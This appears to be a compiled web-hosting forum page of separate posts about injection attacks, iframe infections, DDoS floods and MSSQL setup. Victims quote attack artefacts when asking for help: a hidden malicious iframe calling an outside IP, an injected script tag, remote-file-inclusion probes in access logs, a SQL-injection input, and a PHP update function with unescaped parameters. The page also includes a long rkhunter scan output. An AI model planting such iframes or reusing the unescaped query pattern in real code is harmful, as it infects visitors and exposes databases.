I see on one server with windows 2k3 and sql 2000 alot of Injection attemts(lucky so far) and 90% come from china.
Is there any way on iis6 to put range ban like 123.52.0.0 - 123.55.255.255 so to ban all that network?
i am seeing a lot of Local file inclusion (LFI) and mysql injection attacks quite often directed to php scripts.
what is the way to prevent them? would installing mod_security to apache work?
some body attacking on my server and changing my users profile name /password or any other information so How To Protect MySQL Database From My SQL Injection Attacks? i have dedicate server i provide free wap sites to people with wildcard dns system and i have ConfigServer Security & Firewall installed.
View 3 Replies View RelatedAll my sites on both my hosting accounts are infected with an iframe.
At the end of the index.html files the malicious code just appeared...suddenly 3 weeks ago.
The host blamed Joomla so I took the appropriate steps:
Upgraded my Joomla to the latest version, changed the whole account username and password, changed the configuration and template to unwriteable.
It stopped the injection for a few days but then it came back.
I would also like to add that 2 other sites on my account, one simple index.html file and an old website I have that is totally HTML with nothing to do with Joomla also got infected.
The iframe also infected a Drupal install I did as a test.
So according to these fact is this a Hosting Company not taking responsibility or can a Joomla site infected spread to other normal HTML sites and different CMS's on the server?
This situation is ruinning me and I strongly suspect it's a Hosting problem and not Joomla.
Any expert opinions from true professionals would be appreciated because if I can prove that it's not a Joomla issue I might take legal action against the hosting company since this has cost me dozens of hours of work and several hundred dollars of lost revenue.
I am attaching the iframe exploit. It installs itself on every index file...in every folder - components, mambots, ect..additionally it attaches itself on any and every kind of addon that has an index.html file.
I can see lot of MSSQL Server attacks. In event viewer "Login failed for user 'sa'. [CLIENT: Some IP]"
Most of the attack coming from Chaina. Tipically what I'm doing manually is get that entire IP range and block from Windows Firewall level.
Now I have plenty of blocked IP ranges all over the world.
What would be the best way to avoid from those kind of attacks ?
I've got MSSQL 2005 Enterprise running on Windows 2003 Standard R2 x64. The server has 12GB RAM.
Now, I've been trying to find some way to monitor how much RAM MSSQL takes up, but found two conflicting things.
One source says that MSSQL 2005 Enterprise can only use up to 4GB RAM on Windows Standard R2 x64. Another says Microsoft changed this to 32GB for Windows Standard R2 x64 only (i.e. not x86).
Could anyone confirm either of these? I'd find out myself if I knew how I could see how much it's using (it only shows 90mb in taskmanager).
I already have MSSQL 2005 on my server, one my the client requested us to install MSSQL express and they want to use the FOC version.
Can I run MSSQL server + MSSQL server express concurrently? Anybody can give me guidelines how to install it?
Do I need to uninstall MSSQL or it would be as easy as installing MSSQL express on top of MSSQL server.
I had a non client send me an email about being hacked. apparently the hacker is using a program/command line and is entering this into the db:
user=' &pass1=111-222-1933email@adress.tst&pass2=test&submit=
create%20Account
any way he can patch up his navicat database to stop this?
I've experienced so much hacker attack lately. Hosted wiht hostforweb.com if that makes any difference.
Last issue I have is:
Type of attack: URL Injection -- attempt to inject / load files onto the
server via PHP/CGI vulnerabilities
How I can secure my server against such attacks?
Also I need to resolve this issue ASAP but can not find the file and I don't know what to do.
Report:
Sample log report including date and time stamp:
Request: rosemarythecelticlady.com 64.202.102.218 - - [13/Aug/2007:11:50:03
-0500] GET
/awstats/data/awstats1...marythecelticlady.com.txt/admin/index.php?o=[url]HTTP/1.1 302 228 - libwww-perl/5.808 - -
Request: rosemarythecelticlady.com 64.202.102.218 - - [13/Aug/2007:11:50:04
-0500] GET /admin/index.php?o=[url]HTTP/1.1
302 228 - libwww-perl/5.808 - -
Request: rosemarythecelticlady.com 64.202.102.218 - - [13/Aug/2007:11:50:04
-0500] GET
/awstats/data/admin/index.php?o=[url]
HTTP/1.1 302 228 - libwww-perl/5.808 - -
WHAT NEEDS TO BE DONE HERE and where to located it? Your help is greatly appreciated.
Yesterday it was discovered that a website had most or all of the html pages compromised with some sort of iframe injection. Every page had an iframe line added to the bottom that attempted to load something from another website. It was coming from a domain called reycross.net and was attempting to load the html/framer virus into the visitor's computer.
The problem is that I cannot identify how the injection hit the system. Here are the facts I can provide...
1. The server does NOT have Joomla or Wordpress.
2. The injection seemed to hit every html page whether the page was active on the site or not.
3. The injection hit only one account.
I have checked /var/log/messages and /var/log/secure and find nothing.
What I don't have is proper ftp logging to determine whether the injection came from that method.
Additional notes: Shortly before the injection took place the box was updated to the latest version of cpanel. Also php was upgraded to 5.2.10. At the time suPHP was enabled but unfortunately had to be disabled because it created problems with another site. Prior to this suPHP was disabled as well.
I went through and removed all instances of this iframe injection and ran another update of cpanel. I also recompiled apache/php and went back to 5.2.8 in case the problem was php related.
Anyone using phpMyAdmin for MySQL admin, you need to know about a newly discovered attack vector.
Here's the official announcement: [url]
The key to this is in their description, "A logged-in user can be subject of SQL injection through cross site request forgery. Several scripts in phpMyAdmin are vulnerable and the attack can be made through table parameter."
A logged in user... This attack is a combination of SQL injection through CSRF. In other words, you'd have to be logged into your phpMyAdmin program, hit a website setup for CSRF, and then the attacker could have access to your phpMyAdmin as you.
If there's interest here, I could write up a detailed description of CSRF and how to prevent this type of attack.
Just let me know...
You should upgrade immediately to either phpMyAdmin 2.9.11.4 or 3.1.1.0 or apply patch 12100.
One of my site index page is having iframe injections. I am not sure about the reason. page is chmod to 644 under php.ini dl() is even disabled.
But still person is some how able to inject iframe that redirects the page to some other url.
Any suggestions how to fix that ? any mod_rewrite rule or anything for this?
Does deploying a reverse proxy in front of the web/db server reduce the threat of SQL injection?
Emphasis on 'reduce' the threat - or does it provide no help at all?
I had done a program in early 2006 for a site in php-mysql. At the time of doing the code, The code written was not so standard and it contained uninitialized variables used for include file paths (eventhough values are assigned to it before using) and the "sess" folder was created within the website folder. Also the parameters for the SQL query were not escaped, but everything was working fine.
And now i was informed that the insecure code in my program caused the server crash and i have to pay the penalty for the same. Can anyone let me know whether the below code / keeping the session variables within a folder inside the /www/ will make the sites hosted on the server where this program runs to stop/crash for ever ?
------------------------------------------------------------------
function update_region($id,$regname,$regcom)
{
$query = "UPDATE taxregion_mast SET taxregion_name = '". $regname."',
region_comments = '". $regcom."' WHERE region_id =" .$id;
mysql_query($query);
......
-------------------------------------------------------------------
Does CISCO ASA Firewall block SQL and XSS Injection? If not, then which are the firewalls available which do this job. I have checked web application firewalls and found them to be too costly for my budget. What are the other cheap options available?
View 3 Replies View RelatedI have a major problem with injecting iframes into every files (header.php footer.php index.php login.php and vars.php ) on all server account.
Code:
<iframe src='h t t p : / / 8 1 . 9 5 . 1 4 5 . 2 4 0 / g o . p h p ? s i d = 1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
what is the reason and how to fix that ?
and I have the second problem is the rkhunter warnings I am not sure if that have relations with the first problem :
rkhunter results:
Code:
Checking system commands...
Performing 'strings' command checks
Checking 'strings' command [ OK ]
Performing 'shared libraries' checks
Checking for preloading variables [ None found ]
Checking for preload file [ Not found ]
Checking LD_LIBRARY_PATH variable [ Not found ]
Performing file properties checks
Checking for prerequisites [ Warning ]
/bin/awk [ OK ]
/bin/basename [ OK ]
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/cp [ OK ]
/bin/csh [ OK ]
/bin/cut [ OK ]
/bin/date [ OK ]
/bin/df [ OK ]
/bin/dmesg [ OK ]
/bin/echo [ OK ]
/bin/ed [ OK ]
/bin/egrep [ OK ]
/bin/env [ OK ]
/bin/fgrep [ OK ]
/bin/grep [ OK ]
/bin/kill [ OK ]
/bin/login [ OK ]
/bin/ls [ OK ]
/bin/mail [ OK ]
/bin/mktemp [ OK ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/mv [ OK ]
/bin/netstat [ OK ]
/bin/passwd [ OK ]
/bin/ps [ OK ]
/bin/pwd [ OK ]
/bin/rpm [ OK ]
/bin/sed [ OK ]
/bin/sh [ OK ]
/bin/sort [ OK ]
/bin/su [ OK ]
/bin/touch [ OK ]
/bin/uname [ OK ]
/bin/gawk [ OK ]
/bin/tcsh [ OK ]
/usr/bin/awk [ OK ]
/usr/bin/chattr [ OK ]
/usr/bin/curl [ OK ]
/usr/bin/cut [ OK ]
/usr/bin/diff [ OK ]
/usr/bin/dirname [ OK ]
/usr/bin/du [ OK ]
/usr/bin/env [ OK ]
/usr/bin/file [ OK ]
/usr/bin/find [ OK ]
/usr/bin/GET [ Warning ]
/usr/bin/groups [ Warning ]
/usr/bin/head [ OK ]
/usr/bin/id [ OK ]
/usr/bin/kill [ OK ]
/usr/bin/killall [ OK ]
/usr/bin/last [ OK ]
/usr/bin/lastlog [ OK ]
/usr/bin/ldd [ Warning ]
/usr/bin/less [ OK ]
/usr/bin/locate [ OK ]
/usr/bin/logger [ OK ]
/usr/bin/lsattr [ OK ]
/usr/bin/lynx [ OK ]
/usr/bin/md5sum [ OK ]
/usr/bin/newgrp [ OK ]
/usr/bin/passwd [ OK ]
/usr/bin/perl [ OK ]
/usr/bin/pstree [ OK ]
/usr/bin/readlink [ OK ]
/usr/bin/runcon [ OK ]
/usr/bin/sha1sum [ OK ]
/usr/bin/size [ OK ]
/usr/bin/slocate [ OK ]
/usr/bin/stat [ OK ]
/usr/bin/strace [ OK ]
/usr/bin/strings [ OK ]
/usr/bin/sudo [ OK ]
/usr/bin/tail [ OK ]
/usr/bin/test [ OK ]
/usr/bin/top [ OK ]
/usr/bin/tr [ OK ]
/usr/bin/uniq [ OK ]
/usr/bin/users [ OK ]
/usr/bin/vmstat [ OK ]
/usr/bin/w [ OK ]
/usr/bin/watch [ OK ]
/usr/bin/wc [ OK ]
/usr/bin/wget [ OK ]
/usr/bin/whatis [ Warning ]
/usr/bin/whereis [ OK ]
/usr/bin/which [ OK ]
/usr/bin/who [ OK ]
/usr/bin/whoami [ OK ]
/usr/bin/gawk [ OK ]
/sbin/chkconfig [ OK ]
/sbin/depmod [ OK ]
/sbin/ifconfig [ OK ]
/sbin/ifdown [ Warning ]
/sbin/ifup [ Warning ]
/sbin/init [ OK ]
/sbin/insmod [ OK ]
/sbin/ip [ OK ]
/sbin/lsmod [ OK ]
/sbin/modinfo [ OK ]
/sbin/modprobe [ OK ]
/sbin/nologin [ OK ]
/sbin/rmmod [ OK ]
/sbin/runlevel [ OK ]
/sbin/sulogin [ OK ]
/sbin/sysctl [ OK ]
/sbin/syslogd [ OK ]
/usr/sbin/adduser [ OK ]
/usr/sbin/chroot [ OK ]
/usr/sbin/groupadd [ OK ]
/usr/sbin/groupdel [ OK ]
/usr/sbin/groupmod [ OK ]
/usr/sbin/grpck [ OK ]
/usr/sbin/kudzu [ OK ]
/usr/sbin/lsof [ OK ]
/usr/sbin/prelink [ OK ]
/usr/sbin/pwck [ OK ]
/usr/sbin/tcpd [ OK ]
/usr/sbin/useradd [ OK ]
/usr/sbin/userdel [ OK ]
/usr/sbin/usermod [ OK ]
/usr/sbin/vipw [ OK ]
/usr/sbin/xinetd [ OK ]
/usr/local/bin/perl [ OK ]
/usr/local/bin/rkhunter [ OK ]
Checking for rootkits...
Performing check of known rootkit files and directories
55808 Trojan - Variant A [ Not found ]
ADM Worm [ Not found ]
AjaKit Rootkit [ Not found ]
aPa Kit [ Not found ]
Apache Worm [ Not found ]
Ambient (ark) Rootkit [ Not found ]
Balaur Rootkit [ Not found ]
BeastKit Rootkit [ Not found ]
beX2 Rootkit [ Not found ]
BOBKit Rootkit [ Not found ]
CiNIK Worm (Slapper.B variant) [ Not found ]
Danny-Boy's Abuse Kit [ Not found ]
Devil RootKit [ Not found ]
Dica-Kit Rootkit [ Not found ]
Dreams Rootkit [ Not found ]
Duarawkz Rootkit [ Not found ]
Enye LKM [ Not found ]
Flea Linux Rootkit [ Not found ]
FreeBSD Rootkit [ Not found ]
****`it Rootkit [ Not found ]
GasKit Rootkit [ Not found ]
Heroin LKM [ Not found ]
HjC Kit [ Not found ]
ignoKit Rootkit [ Not found ]
ImperalsS-FBRK Rootkit [ Not found ]
Irix Rootkit [ Not found ]
Kitko Rootkit [ Not found ]
Knark Rootkit [ Not found ]
Li0n Worm [ Not found ]
Lockit / LJK2 Rootkit [ Not found ]
Mood-NT Rootkit [ Not found ]
MRK Rootkit [ Not found ]
Ni0 Rootkit [ Not found ]
Ohhara Rootkit [ Not found ]
Optic Kit (Tux) Worm [ Not found ]
Oz Rootkit [ Not found ]
Phalanx Rootkit [ Not found ]
Phalanx Rootkit (strings) [ Not found ]
Portacelo Rootkit [ Not found ]
R3dstorm Toolkit [ Not found ]
RH-Sharpe's Rootkit [ Not found ]
RSHA's Rootkit [ Not found ]
Scalper Worm [ Not found ]
Sebek LKM [ Not found ]
Shutdown Rootkit [ Not found ]
SHV4 Rootkit [ Not found ]
SHV5 Rootkit [ Not found ]
Sin Rootkit [ Not found ]
Slapper Worm [ Not found ]
Sneakin Rootkit [ Not found ]
Suckit Rootkit [ Not found ]
SunOS Rootkit [ Not found ]
SunOS / NSDAP Rootkit [ Not found ]
Superkit Rootkit [ Not found ]
TBD (Telnet BackDoor) [ Not found ]
TeLeKiT Rootkit [ Not found ]
T0rn Rootkit [ Not found ]
Trojanit Kit [ Not found ]
Tuxtendo Rootkit [ Not found ]
URK Rootkit [ Not found ]
VcKit Rootkit [ Not found ]
Volc Rootkit [ Not found ]
X-Org SunOS Rootkit [ Not found ]
zaRwT.KiT Rootkit [ Not found ]
Performing additional rootkit checks
Suckit Rookit additional checks [ OK ]
Checking for possible rootkit files and directories [ None found ]
Checking for possible rootkit strings [ None found ]
Performing malware checks
Checking running processes for suspicious files [ None found ]
Checking for login backdoors [ None found ]
Checking for suspicious directories [ None found ]
Checking for sniffer log files [ None found ]
Performing trojan specific checks
Checking for enabled xinetd services [ None found ]
Checking for Apache backdoor [ Not found ]
Performing Linux specific checks
Checking kernel module commands [ OK ]
Checking kernel module names [ OK ]
Checking the network...
Performing check for backdoor ports
Checking for UDP port 2001 [ Not found ]
Checking for TCP port 2006 [ Not found ]
Checking for TCP port 2128 [ Not found ]
Checking for TCP port 14856 [ Not found ]
Checking for TCP port 47107 [ Not found ]
Checking for TCP port 60922 [ Not found ]
Performing checks on the network interfaces
Checking for promiscuous interfaces [ None found ]
Checking the local host...
Performing system boot checks
Checking for local host name [ Found ]
Checking for local startup files [ Found ]
Checking local startup files for malware [ None found ]
Checking system startup files for malware [ None found ]
Performing group and account checks
Checking for passwd file [ Found ]
Checking for root equivalent (UID 0) accounts [ None found ]
Checking for passwordless accounts [ None found ]
Checking for passwd file changes [ None found ]
Checking for group file changes [ None found ]
Checking root account shell history files [ OK ]
Performing system configuration file checks
Checking for SSH configuration file [ Found ]
Checking if SSH root access is allowed [ Warning ]
Checking if SSH protocol v1 is allowed [ Warning ]
Checking for running syslog daemon [ Found ]
Checking for syslog configuration file [ Found ]
Checking if syslog remote logging is allowed [ Not allowed ]
Performing filesystem checks
Checking /dev for suspicious file types [ None found ]
Checking for hidden files and directories [ Warning ]
Checking application versions...
Checking version of Exim MTA [ OK ]
Checking version of GnuPG [ Warning ]
Checking version of Apache [ Skipped ]
Checking version of Bind DNS [ OK ]
Checking version of OpenSSL [ Warning ]
Checking version of PHP [ OK ]
Checking version of Procmail MTA [ OK ]
Checking version of OpenSSH [ OK ]
System checks summary
=====================
File properties checks...
Required commands check failed
Files checked: 129
Suspect files: 6
Rootkit checks...
Rootkits checked : 114
Possible rootkits: 0
Applications checks...
Applications checked: 8
Suspect applications: 2
The system checks took: 3 minutes and 12 seconds
All results have been written to the logfile (/var/log/rkhunter.log)
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)
I`ve just got a new Windows 2003 Web Edition box and now I`m going to install a database server on that.
MSSQL 2005 license would costs 270$/mo for me, So thats not possible to use it because of its price.
I`m not sure if MSSQL Express 2005 or MSDE (which are free) can handle all requirements of ASP.NET programmers or not.
Is there any limitations for major scripts on those? or will those make any doubts for programmers?
Please share your experiences and suggestions.
* I`m going to install "Hosting Controller" on that box.
We are facing this strange Problem from yesterday that
<script language=javascript src= [url]
is added on end of every html Pages.
I don,t know that how this Injection on every Html Pages.
Cacti version 0.8.6i has vulnerability: [url]
Solution: [url]
I'm getting DoS attacks on my new dedicated server and I've had about 600 emails from my server about IP bannings. I can't even access my server via WHM at all at the moment! The sites are still online and the server is up but I can't log into WHM. What can I do to remedy this?
Also I can't quite understand why anyone would conduct a DoS attack in the first place...
I am planning on starting a new project and am curious as to if there would be an issue with hosting the websites (IIS) and the MSSQL Databases on the same server?
Basically housing all of the websites and SQL DBs on the same server?
Is this going to cause major problems? I originally thought that I should house the DBs separate but am starting to think that we can house the web and dbs on the same machine but I wanted to get some advice from other that know more about Windows then I.
I have a VPS that's on the awknet network and I'm receiving DNS DDoS and I don't think they have anything to stop these attacks, how can I prevent these?
View 4 Replies View RelatedI seem to be getting a lot of mail attacks to accounts located on the server. However, most of the email addresses do not exist and therefore the emails are bouncing back and getting stuck in my mail queue manager. There are something like 20 emails per minute getting stacked up in there and it is causing a massive load on the server.
How can I stop these attacks?
my webserver defaced with this persons name all over my site.
I was reading and it said JaMaYcKa does this things through a cPanel bug.
Apparently our entire host has been hacked too. I'm very dissapointed as I was on the verge of starting one of my most biggest projects and now it's gone. :'(
what level of hardware/hosting plan I need for one of my clients.
Current stats:
~65 ecommerce orders per week
~5000 unique visitors per day
Requirements:
Win2k3
ASP.NET 3.5
MSSQL 2005
My first recommendation to them was RackSpace due their good reputation, but they were not able to pay for the plan suggested to them by RackSpace.
My other question is what type of plan do you guys recommend based on the above stats/requirements (managed/VPS/dedicated/etc.)? VPS is what came to mind for me since we'll probably end up using this setup for more than one website/domain and since they are so price sensitive.
I'm fairly comfortable setting up and administering Win2k3 and MSSQL. I'm sure that plays into the choices a little.
I know there is probably some information I have left out that would help you guys make a recommendation. Please just let me know what else would help.
I have around 5 servers each running an instance of MSSQL. Four of them hold small databases (largest is 4GB) and all fairly active (I was monitoring the largest for around a minute with SQL Profiler and it used about 2000 rows).
The largest server is used as a central database for logs for the above four servers.
This server runs across 4 * 15k drives in RAID10, but the RAM is a huge bottleneck (64bit OS, 32bit MSSQL). I also watched this server for around a minute in SQL Profiler and saw around 2000 rows being used again.
Now I'm looking to centralise everything into a single instance of MSSQL. I can't afford for MSSQL to be slow, but it will be housing 7 databases (3 'main' databases, 3 log databases, 1 misc. database).
I'm looking at this:
- 2 * Quad Core Xeon 5405 - 2.00GHz (Harpertown)
- 12GB RAM
- 250GB SATAII - Windows installation / Programs
- 250GB SATAII - Backup drive, MSSQL transaction logs
- 10 * 73GB SA-SCSI 10k (RAID10) - MSSQL instance, all databases here
I'm just wondering if anyone could hazard a guess if this would be sufficient? I've tried to explain things the best I can. I guess to summarise would be that there are a lot of read and writes that would happen if I conbined all the databases into a single instance.
I see that SQL Server Express said to be free but does that mean its free for commercial use? personal use? development use? I don't see any information.
Also I read on this board that some hosts offer this. Are they just using the free free version or something else?
what is the best way to connect to a MSSQL from a Centos box?
View 2 Replies View Relatedone of my costumers server is getting ddos attacks. I solved syn and get attacks with litespeed web server but I have another problem. They started to do udp flood. I m losing connection to my server. I bought new server with 1 gbit port for solving it.
View 3 Replies View RelatedThis is a quote from an unrelated thread in the Dedicated Server Forum, I didnt want to hijack the thread so thought I would bring my question over here:
Quote:
Originally Posted by HRDev Hady
I believe they use BurstNet, which isn't really a good choice for DDoS-prone sites as their Top Layer devices don't seem to handle attacks very well in my opinion. If you're running a DDoS prone site, you'd likely be better off with a DDoS-specialized provider such as Awknet, Staminus, or Black Lotus. But as mentioned, a lot of attacks can be stopped simply by proper tuning of your IP stack and some simple firewall rules.
My question is as a new Dedicated Server Owner what tuning and rules do I need to implement in order to protect me from these "small scale DDoS Attacks"?
I do not run a DDoS prone site(i hope not lol) but I want to secure myself as much as possible and have a headache free run other than the headaches I cause myself of course.
Recently, i hosted my domain with two different servers. but both of them were attacked by malwares and viruses. Google also started showing warning like "This site may harm your computer".
Now i can't open my site on firefox (it gives security warning)... when i open in explorer , my index page is totally changed.
Is there a solution for that? Which linux server will be best to protect my site from malware attacks.
